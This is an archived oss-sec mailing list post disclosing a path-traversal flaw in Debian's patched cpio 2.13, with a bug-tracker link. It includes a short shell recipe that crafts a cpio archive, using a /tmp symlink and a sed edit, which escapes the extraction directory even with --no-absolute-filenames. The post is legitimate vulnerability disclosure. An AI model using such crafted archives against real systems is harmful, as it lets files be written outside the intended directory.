Security vulnerability in Debian's cpio 2.13

                							

                <!--X-Body-Begin-->
<!--X-User-Header-->

oss-sec
mailing list archives
<!--X-User-Header-End-->
<!--X-TopPNI-->

By Date

By Thread

</form>

<!--X-TopPNI-End-->
<!--X-MsgBody-->
<!--X-Subject-Header-Begin-->
Security vulnerability in Debian's cpio 2.13

<!--X-Subject-Header-End-->
<!--X-Head-of-Message-->

From: Ingo Brückl &lt;ib () oddnet de&gt;

Date: Thu, 21 Dec 2023 17:44:50 +0100

<!--X-Head-of-Message-End-->
<!--X-Head-Body-Sep-Begin-->

<!--X-Head-Body-Sep-End-->
<!--X-Body-of-Message-->
Debian has applied patch "revert-CVE-2015-1197-handling" to cpio
(2.13+dfsg-7.1) to "Fix a regression in handling of CVE-2015-1197 &amp;
--no-absolute-filenames by reverting part of an upstream commit." and to
close Debian bugs #946267 ("cpio -i --no-absolute-filenames breaks symlinks
starting with / or /..") and #946469 ("initramfs-tools-core: unmkinitrams
creates broken binaries").

This patch made Debian cpio 2.13 vulnerable to path traversal.

The vulnerability has been reported to the Debian bug tracking system:

  https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1059163

Instructions to craft a cpio archive to demonstrate the vulnerability:

  mkdir test_cpio
  ln -sf /tmp/ test_cpio/tmp
  echo "TEST Traversal" &gt; test_cpio/tmpYtrav.txt
  cd test_cpio/
  ls | cpio -ov &gt; ../trav.cpio
  cd ../
  sed -i s/"tmpY"/"tmp\/"/g trav.cpio

Even

  cpio -id --no-absolute-filenames -I trav.cpio

doesn't prevent path traversal with Debian's cpio, although it does with the
original cpio.

Ingo

<!--X-Body-of-Message-End-->
<!--X-MsgBody-End-->
<!--X-Follow-Ups-->

<!--X-Follow-Ups-End-->
<!--X-References-->
<!--X-References-End-->
<!--X-BotPNI-->

By Date

By Thread

Current thread:

Security vulnerability in Debian's cpio 2.13 Ingo Brückl (Dec 21)

<!--X-BotPNI-End-->
<!--X-User-Footer-->
<!--X-User-Footer-End-->